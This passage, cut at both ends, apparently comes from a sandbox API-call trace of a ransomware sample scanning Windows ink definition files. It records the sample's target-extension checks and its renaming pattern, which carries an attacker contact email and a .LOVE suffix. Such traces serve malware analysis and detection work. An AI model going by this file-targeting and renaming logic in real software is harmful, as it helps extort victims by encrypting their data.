shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0200.184] lstrlenW (lpString=".jpg") returned 4 [0200.184] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.184] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0200.184] lstrlenW (lpString="base_jpn.xml") returned 12 [0200.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0200.185] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=804) returned 1 [0200.185] CloseHandle (hObject=0x2d8) returned 1 [0200.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0200.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0200.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0200.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0200.186] lstrlenW (lpString=".doc") returned 4 [0200.186] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.186] lstrlenW (lpString=".docx") returned 5 [0200.186] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0200.186] lstrlenW (lpString=".pdf") returned 4 [0200.186] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.186] lstrlenW (lpString=".xls") returned 4 [0200.186] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.186] lstrlenW (lpString=".xlsx") returned 5 [0200.186] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0200.186] lstrlenW (lpString=".ppt") returned 4 [0200.186] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0200.186] lstrlenW (lpString=".zip") returned 4 [0200.186] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.186] lstrlenW (lpString=".rar") returned 4 [0200.186] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.186] lstrlenW (lpString=".bz2") returned 4 [0200.186] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.186] lstrlenW (lpString=".7z") returned 3 [0200.186] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0200.186] lstrlenW (lpString=".dbf") returned 4 [0200.186] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0200.186] lstrlenW (lpString=".1cd") returned 4 [0200.186] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0200.186] lstrlenW (lpString=".jpg") returned 4 [0200.187] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0200.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0200.187] lstrlenW (lpString=".doc") returned 4 [0200.187] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.187] lstrlenW (lpString=".docx") returned 5 [0200.187] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0200.187] lstrlenW (lpString=".pdf") returned 4 [0200.187] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.187] lstrlenW (lpString=".xls") returned 4 [0200.187] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.187] lstrlenW (lpString=".xlsx") returned 5 [0200.187] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0200.187] lstrlenW (lpString=".ppt") returned 4 [0200.187] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0200.187] lstrlenW (lpString=".zip") returned 4 [0200.187] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.187] lstrlenW (lpString=".rar") returned 4 [0200.187] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.187] lstrlenW (lpString=".bz2") returned 4 [0200.187] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.187] lstrlenW (lpString=".7z") returned 3 [0200.187] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0200.187] lstrlenW (lpString=".dbf") returned 4 [0200.187] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0200.187] lstrlenW (lpString=".1cd") returned 4 [0200.187] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0200.187] lstrlenW (lpString=".jpg") returned 4 [0200.187] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.188] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0200.188] lstrlenW (lpString="base_kor.xml") returned 12 [0200.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0200.207] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=488) returned 1 [0200.208] CloseHandle (hObject=0x2a0) returned 1 [0200.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0200.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0200.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0200.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0200.462] lstrlenW (lpString=".doc") returned 4 [0200.462] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.462] lstrlenW (lpString=".docx") returned 5 [0200.462] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0200.462] lstrlenW (lpString=".pdf") returned 4 [0200.462] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.462] lstrlenW (lpString=".xls") returned 4 [0200.462] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.462] lstrlenW (lpString=".xlsx") returned 5 [0200.462] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0200.462] lstrlenW (lpString=".ppt") returned 4 [0200.462] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0200.462] lstrlenW (lpString=".zip") returned 4 [0200.462] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.462] lstrlenW (lpString=".rar") returned 4 [0200.462] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.462] lstrlenW (lpString=".bz2") returned 4 [0200.462] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.462] lstrlenW (lpString=".7z") returned 3 [0200.462] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0200.462] lstrlenW (lpString=".dbf") returned 4 [0200.463] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0200.463] lstrlenW (lpString=".1cd") returned 4 [0200.463] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0200.463] lstrlenW (lpString=".jpg") returned 4 [0200.463] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0200.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0200.463] lstrlenW (lpString=".doc") returned 4 [0200.463] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.463] lstrlenW (lpString=".docx") returned 5 [0200.463] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0200.463] lstrlenW (lpString=".pdf") returned 4 [0200.463] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.463] lstrlenW (lpString=".xls") returned 4 [0200.463] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.463] lstrlenW (lpString=".xlsx") returned 5 [0200.463] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0200.463] lstrlenW (lpString=".ppt") returned 4 [0200.463] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0200.463] lstrlenW (lpString=".zip") returned 4 [0200.464] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.464] lstrlenW (lpString=".rar") returned 4 [0200.464] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.464] lstrlenW (lpString=".bz2") returned 4 [0200.464] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.464] lstrlenW (lpString=".7z") returned 3 [0200.464] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0200.464] lstrlenW (lpString=".dbf") returned 4 [0200.464] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0200.464] lstrlenW (lpString=".1cd") returned 4 [0200.464] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0200.464] lstrlenW (lpString=".jpg") returned 4 [0200.464] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.464] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0200.464] lstrlenW (lpString="base_rtl.xml") returned 12 [0200.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0200.465] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=617) returned 1 [0200.465] CloseHandle (hObject=0x2a0) returned 1 [0200.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0200.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0200.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.465] lstrlenW (lpString=".doc") returned 4 [0200.465] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.465] lstrlenW (lpString=".docx") returned 5 [0200.466] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0200.466] lstrlenW (lpString=".pdf") returned 4 [0200.466] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.466] lstrlenW (lpString=".xls") returned 4 [0200.466] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.466] lstrlenW (lpString=".xlsx") returned 5 [0200.466] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0200.466] lstrlenW (lpString=".ppt") returned 4 [0200.466] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.466] lstrlenW (lpString=".zip") returned 4 [0200.466] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.466] lstrlenW (lpString=".rar") returned 4 [0200.466] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.466] lstrlenW (lpString=".bz2") returned 4 [0200.466] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.466] lstrlenW (lpString=".7z") returned 3 [0200.466] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.466] lstrlenW (lpString=".dbf") returned 4 [0200.466] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.466] lstrlenW (lpString=".1cd") returned 4 [0200.466] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.466] lstrlenW (lpString=".jpg") returned 4 [0200.467] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.467] lstrlenW (lpString=".doc") returned 4 [0200.467] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.467] lstrlenW (lpString=".docx") returned 5 [0200.467] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0200.467] lstrlenW (lpString=".pdf") returned 4 [0200.467] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.467] lstrlenW (lpString=".xls") returned 4 [0200.467] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.467] lstrlenW (lpString=".xlsx") returned 5 [0200.467] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0200.467] lstrlenW (lpString=".ppt") returned 4 [0200.467] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.467] lstrlenW (lpString=".zip") returned 4 [0200.467] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.467] lstrlenW (lpString=".rar") returned 4 [0200.467] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.467] lstrlenW (lpString=".bz2") returned 4 [0200.467] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.467] lstrlenW (lpString=".7z") returned 3 [0200.467] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.467] lstrlenW (lpString=".dbf") returned 4 [0200.467] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.468] lstrlenW (lpString=".1cd") returned 4 [0200.468] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0200.468] lstrlenW (lpString=".jpg") returned 4 [0200.468] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.468] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0200.468] lstrlenW (lpString="ja-jp.xml") returned 9 [0200.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0200.468] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=16616) returned 1 [0200.468] CloseHandle (hObject=0x2a0) returned 1 [0200.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0200.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0200.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0200.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0200.469] lstrlenW (lpString=".doc") returned 4 [0200.469] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.469] lstrlenW (lpString=".docx") returned 5 [0200.469] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.469] lstrlenW (lpString=".pdf") returned 4 [0200.469] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.469] lstrlenW (lpString=".xls") returned 4 [0200.469] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.469] lstrlenW (lpString=".xlsx") returned 5 [0200.469] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.469] lstrlenW (lpString=".ppt") returned 4 [0200.469] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0200.469] lstrlenW (lpString=".zip") returned 4 [0200.469] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.469] lstrlenW (lpString=".rar") returned 4 [0200.469] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.469] lstrlenW (lpString=".bz2") returned 4 [0200.469] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.469] lstrlenW (lpString=".7z") returned 3 [0200.470] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0200.470] lstrlenW (lpString=".dbf") returned 4 [0200.470] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0200.470] lstrlenW (lpString=".1cd") returned 4 [0200.470] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0200.470] lstrlenW (lpString=".jpg") returned 4 [0200.470] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0200.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0200.470] lstrlenW (lpString=".doc") returned 4 [0200.470] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.470] lstrlenW (lpString=".docx") returned 5 [0200.470] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.470] lstrlenW (lpString=".pdf") returned 4 [0200.470] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.470] lstrlenW (lpString=".xls") returned 4 [0200.470] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.470] lstrlenW (lpString=".xlsx") returned 5 [0200.470] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.470] lstrlenW (lpString=".ppt") returned 4 [0200.470] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0200.470] lstrlenW (lpString=".zip") returned 4 [0200.470] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.470] lstrlenW (lpString=".rar") returned 4 [0200.471] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.471] lstrlenW (lpString=".bz2") returned 4 [0200.471] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.471] lstrlenW (lpString=".7z") returned 3 [0200.471] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0200.471] lstrlenW (lpString=".dbf") returned 4 [0200.471] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0200.471] lstrlenW (lpString=".1cd") returned 4 [0200.471] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0200.471] lstrlenW (lpString=".jpg") returned 4 [0200.471] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.471] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0200.471] lstrlenW (lpString="ko-kr.xml") returned 9 [0200.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0200.472] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=15097) returned 1 [0200.472] CloseHandle (hObject=0x2a0) returned 1 [0200.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0200.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0200.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0200.472] lstrlenW (lpString=".doc") returned 4 [0200.472] 